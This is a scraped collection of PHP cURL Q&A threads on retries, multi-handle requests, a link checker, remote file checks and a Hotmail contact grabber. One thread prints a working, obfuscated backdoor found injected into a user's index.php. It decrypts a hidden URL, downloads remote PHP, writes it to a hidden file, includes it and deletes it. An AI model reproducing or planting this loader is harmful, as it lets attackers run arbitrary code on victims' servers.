Retry timeout CURL - php

What is better approach for retry curl request if there is a timeout?
I have came up with this solution using evil GOTO
retry:
$result = curlPost($ch, "something.php", $cookie, http_build_query($arg));
if (curl_errno($ch) == 28) {
goto retry;
}
// Do something
In the curlPost() function, there is
curl_setopt($curl, CURLOPT_TIMEOUT, 3);

You could use a do-while loop.
$count = 0;
$max_tries = 5;
$success = true;
do {
$result = curlPost($ch, "something.php", $cookie, http_build_query($arg));
$count++;
if($count >= $max_tries) {
$success = false;
break;
}
}
while(curl_errno($ch) == 28);
if($success == false) {
// If it got here it tried 5 times and still didn't get a result.
// More code here for what you want to do...
}

Related

Injection hack php exploit information

Being the only developer on my server with no one else having access to it, I'm curious to know if hackers can somehow write to php files? I have come across this section of PHP code at the top of my index.php which I am not familiar with and have not put it there myself. I don't know what to make of it or what their attempts are, a little worried. Any advice is appreciated thank you.
<?php
#ini_set('display_errors', '0');
error_reporting(0);
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5';
$pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH";
if (ini_get('allow_url_fopen')) {
function get_data_ya($url) {
$data = file_get_contents($url);
return $data;
}
}
else {
function get_data_ya($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
function wp_cd($fd, $fa="")
{
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len )
{
$ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
}
return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
?>
I would quarantine your site until you can find how the hacker got access in the first place. Then fix that issue. Removing his code won't stop him coming back if the previous security hole still remains. Its probably from some insecure wordpress plugin.
With regards to the hackers code, it seems to crawl from an arbitrary url and write to your server.

Multicurl returns null without any errors (multicurl used more than once)

I'm trying to perform multicurl request and keep information about data sent (by GET). I've got array '$params' that contain params I want to send in multiple curls:
$m_curl = curl_multi_init();
// Firstly I create CURL handles
for ($i = 0; $i < count($params); ++$i) {
$params[$i]['curl'] = curl_init();
curl_setopt($params[$i]['curl'], CURLOPT_HEADER, 1);
curl_setopt($params[$i]['curl'], CURLOPT_VERBOSE, 1);
curl_setopt($params[$i]['curl'], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($params[$i]['curl'], CURLOPT_URL, $params[$i]['url']);
curl_multi_add_handle($m_curl, $params[$i]['curl']);
}
// Now we do the multicurl thing
$active = null;
do {
$status = curl_multi_exec($m_curl, $active);
if ($status > 0) die ('ERROR!'); // This is not stopping script, so I suppose that we got no errors in requests
} while ($status == CURLM_CALL_MULTI_PERFORM);
// Organize response
for ($i = 0; $i < count($params); ++$i) {
$results[$i] = ['results' => []];
foreach ($params[$i]['curl'] as $curl) {
$result = curl_multi_getcontent($curl);
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$result_header = substr($result, 0, $header_size);
$result_body = substr($result, $header_size);
// We got wrong result - response is NULL
if ($result == NULL) {
echo 'empty response!'; // and there should be something
}
else {
// it's OK, co we do stuff there
// ...
curl_multi_remove_handle($m_curl, $curl);
}
}
}
// Close multicurl
curl_multi_close($m_curl);
With such code I've got:
- no CURL errors (status is all the time 0)
- sometimes result is OK and we got response text, sometimes not (and than we got no body, nor head to debug)
The last thing - if I will browse URLs that are empty in muticurl (or send regular CURL), response is correct. There is just no pattern I can follow, so maybe someone can point what I'm doing wrong or what I forgot to do? =/
Solved: actually the problem wasn't what I expected could be. I used one time multicurl, add handles, execute them and remove. After that I add other handles and after executing they were getting empty results (but request to server was send).
When I close and reopen multicurl each time I'm putting new data portion the problem was solved.
Sorry for asking wrong question =/
Hope it will help if someone will got same problem.
try this code
<?php
$params = [
['curl' => null, 'url' => "http://google.com"],
['curl' => null, 'url' => "http://google.com"],
];
$m_curl = curl_multi_init();
for ($i = 0; $i < count($params); ++$i) {
$params[$i]['curl'] = curl_init();
curl_setopt($params[$i]['curl'], CURLOPT_HEADER, 1);
curl_setopt($params[$i]['curl'], CURLOPT_VERBOSE, 1);
curl_setopt($params[$i]['curl'], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($params[$i]['curl'], CURLOPT_FOLLOWLOCATION, true);
curl_setopt($params[$i]['curl'], CURLOPT_URL, $params[$i]['url']);
curl_multi_add_handle($m_curl, $params[$i]['curl']);
}
$active = null;
do {
$status = curl_multi_exec($m_curl, $active);
if ($status > 0) die ('ERROR!');
} while ($status == CURLM_CALL_MULTI_PERFORM);
while ($active && $status == CURLM_OK) {
if (curl_multi_select($m_curl) != -1) {
do {
$status = curl_multi_exec($m_curl, $active);
} while ($status == CURLM_CALL_MULTI_PERFORM);
}
}
$result = [];
foreach ($params as $param) {
$curl_result = curl_multi_getcontent($param['curl']);
$header_size = curl_getinfo($param['curl'], CURLINFO_HEADER_SIZE);
$result[] = [
"header" => substr($curl_result, 0, $header_size),
"body" => substr($curl_result, $header_size)
];
curl_multi_remove_handle($m_curl, $param['curl']);
}
curl_multi_close($m_curl);
var_dump($result);

Multi cURL PHP link checker with PDO database access not sending back any response

Ok I tried building my first proper cUrl function, I used Nettuts cUrl (http://net.tutsplus.com/tutorials/php/techniques-and-resources-for-mastering-curl/)wordpress link checker as a base and then redid the database access for security reasons. I have no clue why it would not function, as I only rewrote the database access part and a few changes on line 32. I will also post the original code from Nettuts, which I hope helps. The code is suppose to check if links to documents (.PDF and .doc) are still there or if they need to be updated.
Any help would be appreciated!
Original code
// CONFIG
$db_host = 'localhost';
$db_user = 'root';
$db_pass = '';
$db_name = 'wordpress';
$excluded_domains = array(
'localhost', 'www.mydomain.com');
$max_connections = 10;
// initialize some variables
$url_list = array();
$working_urls = array();
$dead_urls = array();
$not_found_urls = array();
$active = null;
// connect to MySQL
if (!mysql_connect($db_host, $db_user, $db_pass)) {
die('Could not connect: ' . mysql_error());
}
if (!mysql_select_db($db_name)) {
die('Could not select db: ' . mysql_error());
}
// get all published posts that have links
$q = "SELECT post_content FROM wp_posts
WHERE post_content LIKE '%href=%'
AND post_status = 'publish'
AND post_type = 'post'";
$r = mysql_query($q) or die(mysql_error());
while ($d = mysql_fetch_assoc($r)) {
// get all links via regex
if (preg_match_all("!href=\"(.*?)\"!", $d['post_content'], $matches)) {
foreach ($matches[1] as $url) {
// exclude some domains
$tmp = parse_url($url);
if (in_array($tmp['host'], $excluded_domains)) {
continue;
}
// store the url
$url_list []= $url;
}
}
}
// remove duplicates
$url_list = array_values(array_unique($url_list));
if (!$url_list) {
die('No URL to check');
}
// 1. multi handle
$mh = curl_multi_init();
// 2. add multiple URLs to the multi handle
for ($i = 0; $i < $max_connections; $i++) {
add_url_to_multi_handle($mh, $url_list);
}
// 3. initial execution
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
// 4. main loop
while ($active && $mrc == CURLM_OK) {
// 5. there is activity
if (curl_multi_select($mh) != -1) {
// 6. do work
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
// 7. is there info?
if ($mhinfo = curl_multi_info_read($mh)) {
// this means one of the requests were finished
// 8. get the info on the curl handle
$chinfo = curl_getinfo($mhinfo['handle']);
// 9. dead link?
if (!$chinfo['http_code']) {
$dead_urls []= $chinfo['url'];
// 10. 404?
} else if ($chinfo['http_code'] == 404) {
$not_found_urls []= $chinfo['url'];
// 11. working
} else {
$working_urls []= $chinfo['url'];
}
// 12. remove the handle
curl_multi_remove_handle($mh, $mhinfo['handle']);
curl_close($mhinfo['handle']);
// 13. add a new url and do work
if (add_url_to_multi_handle($mh, $url_list)) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
}
}
// 14. finished
curl_multi_close($mh);
echo "==Dead URLs==\n";
echo implode("\n",$dead_urls) . "\n\n";
echo "==404 URLs==\n";
echo implode("\n",$not_found_urls) . "\n\n";
echo "==Working URLs==\n";
echo implode("\n",$working_urls);
// 15. adds a url to the multi handle
function add_url_to_multi_handle($mh, $url_list) {
static $index = 0;
// if we have another url to get
if ($url_list[$index]) {
// new curl handle
$ch = curl_init();
// set the url
curl_setopt($ch, CURLOPT_URL, $url_list[$index]);
// to prevent the response from being outputted
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// follow redirections
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
// do not need the body. this saves bandwidth and time
curl_setopt($ch, CURLOPT_NOBODY, 1);
// add it to the multi handle
curl_multi_add_handle($mh, $ch);
// increment so next url is used next time
$index++;
return true;
} else {
// we are done adding new URLs
return false;
}
}
My code
<?php
/*Config*/
/*** mysql hostname ***/
$hostname = 'localhost';
/*** mysql username ***/
$username = 'root';
/*** mysql password ***/
$password = 'root';
/*curl setup of varibles*/
$excluded_domains = array(
'localhost', 'rollnstroll.se');
$max_connections = 10;
$url_list = array();
$working_urls = array();
$dead_urls = array();
$not_found_urls = array();
$active = null;
try {
$dbh = new PDO("mysql:host=$hostname;dbname=blankett", $username, $password);
$dbh->exec('SET CHARACTER SET utf8');
/*** echo a message saying we have connected ***/
/*** fetch into an PDOStatement object ***/
$sql = "SELECT link_forms FROM forms2 WHERE id = ?";
$stmt = $dbh->query($sql);
$result = $stmt->fetch(PDO::FETCH_ASSOC);
// get all links via regex
if (preg_match_all("!href=\"(.*?)\"!", $d['link_forms'], $matches)) {
foreach ($matches[1] as $url) {
// exclude some domains
$tmp = parse_url($url);
if (in_array($tmp['host'], $excluded_domains)) {
continue;
}
// store the url
$url_list []= $url;
}
}
// remove duplicates
$url_list = array_values(array_unique($url_list));
if (!$url_list) {
die('No URL to check');
}
}
catch(PDOException $e)
{
echo $e->getMessage();
}
// 1. multi handle
$mh = curl_multi_init();
// 2. add multiple URLs to the multi handle
for ($i = 0; $i < $max_connections; $i++) {
add_url_to_multi_handle($mh, $url_list);
}
// 3. initial execution
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
// 4. main loop
while ($active && $mrc == CURLM_OK) {
// 5. there is activity
if (curl_multi_select($mh) != -1) {
// 6. do work
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
// 7. is there info?
if ($mhinfo = curl_multi_info_read($mh)) {
// this means one of the requests were finished
// 8. get the info on the curl handle
$chinfo = curl_getinfo($mhinfo['handle']);
// 9. dead link?
if (!$chinfo['http_code']) {
$dead_urls []= $chinfo['url'];
// 10. 404?
} else if ($chinfo['http_code'] == 404) {
$not_found_urls []= $chinfo['url'];
// 11. working
} else {
$working_urls []= $chinfo['url'];
}
// 12. remove the handle
curl_multi_remove_handle($mh, $mhinfo['handle']);
curl_close($mhinfo['handle']);
// 13. add a new url and do work
if (add_url_to_multi_handle($mh, $url_list)) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
}
}
// 14. finished
curl_multi_close($mh);
echo "==Dead URLs==\n";
echo implode("\n",$dead_urls) . "\n\n";
echo "==404 URLs==\n";
echo implode("\n",$not_found_urls) . "\n\n";
echo "==Working URLs==\n";
echo implode("\n",$working_urls);
// 15. adds a url to the multi handle
function add_url_to_multi_handle($mh, $url_list) {
static $index = 0;
// if we have another url to get
if ($url_list[$index]) {
// new curl handle
$ch = curl_init();
// set the url
curl_setopt($ch, CURLOPT_URL, $url_list[$index]);
// to prevent the response from being outputted
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// follow redirections
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
// do not need the body. this saves bandwidth and time
curl_setopt($ch, CURLOPT_NOBODY, 1);
// add it to the multi handle
curl_multi_add_handle($mh, $ch);
// increment so next url is used next time
$index++;
return true;
} else {
// we are done adding new URLs
return false;
}
}
?>
What I rewrote from the original is the database connection, which meant I had to indent my code since I use PDO. I also rewrote:
if (preg_match_all("!href=\"(.*?)\"!", $d['link_forms'], $matches)) {
from
if (preg_match_all("!href=\"(.*?)\"!", $d['post_content'], $matches)) {
I assume the problem is here, but my lack of skills do not let me find the answer.
If there is a better script for checking for dead links, redirects and functional links, please let me know.
I can not see what you are doing with $result
in the original code there is
$r = mysql_query($q) or die(mysql_error());
while ($d = mysql_fetch_assoc($r)) {
if (preg_match_all("!href=\"(.*?)\"!", $d['post_content'], $matches)) {
...
in your code only
$stmt = $dbh->query($sql);
$result = $stmt->fetch(PDO::FETCH_ASSOC);
if (preg_match_all("!href=\"(.*?)\"!", $d['link_forms'], $matches)) {
Therefore, $d and $d['link_forms'] does not exist !!
So if (preg_match_all(..., $d['link_forms'], ...)) returns False.
Remove
$result = $stmt->fetch(PDO::FETCH_ASSOC);
if (preg_match_all("!href=\"(.*?)\"!", $d['link_forms'], $matches)) {
and replace it with
while ($d = $stmt->fetch(PDO::FETCH_ASSOC)) {
if (preg_match_all("!href=\"(.*?)\"!", $d['link_forms'], $matches)) {
...
what do you get with print_r($matches); ?
Look at the output array, what part do you need from $matches .
if (preg_match_all("!href=\"(.*?)\"!", $d['link_forms'], $matches)) {
print_r($matches);
if there are more url's in $d['link_forms'] then this is not possible with this statement.
foreach ($matches[1] as $url) {
Then you have to go through the array with
foreach ($matches as $url) {
echo "part 0: " . $url[0] . "\n";
echo "part 1: " . $url[1] . "\n";
...

check to see if xml exists (not working)

i am trying to check through php if xml files exists on a url (incremental names till it fails)
why is this code not working?
<?php
for ($i = 1; $i <= 10; $i++) {
$url = "http://thetvdb.com/api/E676DF9578EF38D7/series/78901/default/".$i."/1/en.xml";
echo $url."<br />";
$xml = simplexml_load_file($url);
if ($xml) {
echo "yay"."<br />";
} else {
echo "fail"."<br />";
die();
}
}
?>
Your main problem is die(). This quits all execution.
I'd also try using fopen() instead of simplexml_load_file() unless you plan on using the XML later on, eg
$handle = #fopen($url, 'r');
if ($handle === false) {
echo 'fail<br />';
return; // check till it fails
} else {
echo 'yay<br />';
fclose($handle);
}
You could just use curl to find out whether a file exists:
function does_remote_file_exist($url){
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($code == 200) $status = true;
else $status = false;
curl_close($ch);
return $status;
}

having problem in importing contact from hotmail in php

Im having problem in importing hotmail contacts from hotmail in php it simple give the erorr message : Error code not found
Please tell me what im doing wrong. I want this to be working.
Im using thew msn_contact_grab.class.php
and iam calling as :
<?php
include('msn_contact_grab.class.php');
$msn2 = new msn;
$returned_emails = $msn2->qGrab("just_4_love01#hotmail.com", "xxxxxxx");
?>
msn_contact_grab.class.php is as follows:
<?php
class msn
{
var $server = 'messenger.hotmail.com';
var $port = 1863;
var $nexus = 'https://nexus.passport.com/rdr/pprdr.asp';
var $ssh_login = 'login.live.com/login2.srf';
var $debug = 0;
var $curl_bin = 0;
var $curl = 'c:/wamp/www/hotmail/curl/curl'; // linux
//var $curl = 'c:\curl.exe'; // windows
//Used to prevent the script from hanging
var $count = 0;
//Used to store the email addresses until all have been collected
var $email_input = array();
var $email_processing = array();
var $email_output = array();
/**
*
* desc : Connect to MSN Messenger Network
*
* in : $passport = passport i.e: user#hotmail.com
* $password = password for passport
*
* out : true on success else return false
*
*/
function connect($passport, $password)
{
$this->trID = 1;
if (!$this->fp = #fsockopen($this->server, $this->port, $errno, $errstr, 2)) {
die("Could not connect to messenger service");
} else {
stream_set_timeout($this->fp, 2);
$this->_put("VER $this->trID MSNP9 CVR0\r\n");
while (! feof($this->fp))
{
$data = $this->_get();
switch ($code = substr($data, 0, 3))
{
default:
echo $this->_get_error($code);
return false;
break;
case 'VER':
$this->_put("CVR $this->trID 0x0409 win 4.10 i386 MSNMSGR 7.0.0816 MSMSGS $passport\r\n");
break;
case 'CVR':
$this->_put("USR $this->trID TWN I $passport\r\n");
break;
case 'XFR':
list(, , , $ip) = explode (' ', $data);
list($ip, $port) = explode (':', $ip);
if ($this->fp = #fsockopen($ip, $port, $errno, $errstr, 2))
{
$this->trID = 1;
$this->_put("VER $this->trID MSNP9 CVR0\r\n");
}
else
{
if (! empty($this->debug)) echo 'Unable to connect to msn server (transfer)';
return false;
}
break;
case 'USR':
if (isset($this->authed))
{
return true;
}
else
{
$this->passport = $passport;
$this->password = urlencode($password);
list(,,,, $code) = explode(' ', trim($data));
if ($auth = $this->_ssl_auth($code))
{
$this->_put("USR $this->trID TWN S $auth\r\n");
$this->authed = 1;
}
else
{
if (! empty($this->debug)) echo 'auth failed';
return false;
}
}
break;
}
}
}
}
//Collects the raw data containing the email addresses
function rx_data()
{
$this->_put("SYN $this->trID 0\r\n");
//Supplies the second MSG code which stops
//the script from hanging as it waits for
//more content
$this->_put("CHG $this->trID NLN\r\n");
$stream_info = stream_get_meta_data($this->fp);
$email_total = 100;
//the count check prevents the script hanging as it waits for more content
while ((! feof($this->fp)) && (! $stream_info['timed_out']) && ($this->count <= 1) && (count($this->email_input) < $email_total))
{
$data = $this->_get();
$stream_info = stream_get_meta_data($this->fp);
if ($data)
{
switch($code = substr($data, 0, 3))
{
default:
// uncommenting this line here would probably give a load of "error code not found" messages.
//echo $this->_get_error($code);
break;
case 'MSG':
//This prevents the script hanging as it waits for more content
$this->count++;
break;
case 'LST':
//These are the email addresses
//They need to be collected in email_input
$this->email_input[] = $data;
if ($this->debug) print("<span class='b'>" . count($this->email_input) . "</span>");
break;
case 'SYN':
$syn_explode = explode(" ", $data);
$email_total = $syn_explode[3];
break;
case 'CHL':
$bits = explode (' ', trim($data));
$return = md5($bits[2].'Q1P7W2E4J9R8U3S5');
$this->_put("QRY $this->trID msmsgs#msnmsgr.com 32\r\n$return");
break;
}
}
}
}
//This function extracts the emails and screen names from the raw data
//collected by rx_data
function process_emails () {
//Neaten up the emails
//$regex = "|^LST\s(\S+?)\s(\S+?)\s\d+?\s\d+?$|";
foreach($this->email_input as $email_entry) {
//Seperate out the email from the name and other data
$this->email_processing[] = explode(" ", $email_entry);
}
//Get rid of the unnecessary data and clean up the name
foreach($this->email_processing as $email_entry){
$this->email_output[] = array(0 => $email_entry['1'],
1 => urldecode($email_entry[2]));
}
//var_dump($this->email_processing);
//var_dump($this->email_output);
}
//This is a quick way of calling all the seperate functions
//needed to grab the contact list
function qGrab ($username, $password) {
//Connect to the MSNM service
$this->connect($username, $password);
//Get data
$this->rx_data();
//Process emails
$this->process_emails();
//send the email array
return $this->email_output;
}
/*====================================*\
Various private functions
\*====================================*/
function _ssl_auth($auth_string)
{
if (empty($this->ssh_login))
{
if ($this->curl_bin)
{
exec("$this->curl -m 60 -LkI $this->nexus", $header);
$header = implode($header, null);
}
else
{
$ch = curl_init($this->nexus);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_TIMEOUT, 2);
$header = curl_exec($ch);
curl_close($ch);
}
preg_match ('/DALogin=(.*?),/', $header, $out);
if (isset($out[1]))
{
$slogin = $out[1];
}
else
{
return false;
}
}
else
{
$slogin = $this->ssh_login;
}
if ($this->curl_bin)
{
$header1 = '"Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in='.$this->passport.',pwd='.$this->password.','.$auth_string.'"';
exec("$this->curl -m 60 -LkI -H $header1 https://$slogin", $auth_string);
$header = null;
foreach ($auth_string as $key => $value)
{
if (strstr($value, 'Unauthorized'))
{
echo 'Unauthorised';
return false;
}
elseif (strstr($value, 'Authentication-Info'))
{
$header = $value;
}
}
}
else
{
$ch = curl_init('https://'.$slogin);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in='.$this->passport.',pwd='.$this->password.','.$auth_string,
'Host: login.passport.com'
));
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_TIMEOUT, 2);
$header = curl_exec($ch);
curl_close($ch);
}
preg_match ("/from-PP='(.*?)'/", $header, $out);
return (isset($out[1])) ? $out[1] : false;
}
function _get()
{
if ($data = #fgets($this->fp, 4096))
{
if ($this->debug) echo "<div class=\"r\"><<< $data</div>\n";
return $data;
}
else
{
return false;
}
}
function _put($data)
{
fwrite($this->fp, $data);
$this->trID++;
if ($this->debug) echo "<div class=\"g\">>>> $data</div>";
}
function _get_error($code)
{
switch ($code)
{
case 201:
return 'Error: 201 Invalid parameter';
break;
case 217:
return 'Error: 217 Principal not on-line';
break;
case 500:
return 'Error: 500 Internal server error';
break;
case 540:
return 'Error: 540 Challenge response failed';
break;
case 601:
return 'Error: 601 Server is unavailable';
break;
case 710:
return 'Error: 710 Bad CVR parameters sent';
break;
case 713:
return 'Error: 713 Calling too rapidly';
break;
case 731:
return 'Error: 731 Not expected';
break;
case 800:
return 'Error: 800 Changing too rapidly';
break;
case 910:
case 921:
return 'Error: 910/921 Server too busy';
break;
case 911:
return 'Error: 911 Authentication failed';
break;
case 923:
return 'Error: 923 Kids Passport without parental consent';
break;
case 928:
return 'Error: 928 Bad ticket';
break;
default:
return 'Error code '.$code.' not found';
break;
}
}
}
?>
(moving this from a comment to an answer)
It's probably not that you are doing anything wrong, it's probably just that this class is fishy. The $curl = 'c:/...'; // linux line doesn't instill a lot of confidence. This also seems to be reverse-engineering the messenger protocol, which is a very fragile thing to do.
There seems to be an official API, which you should be using instead: http://dev.live.com/contacts/

Categories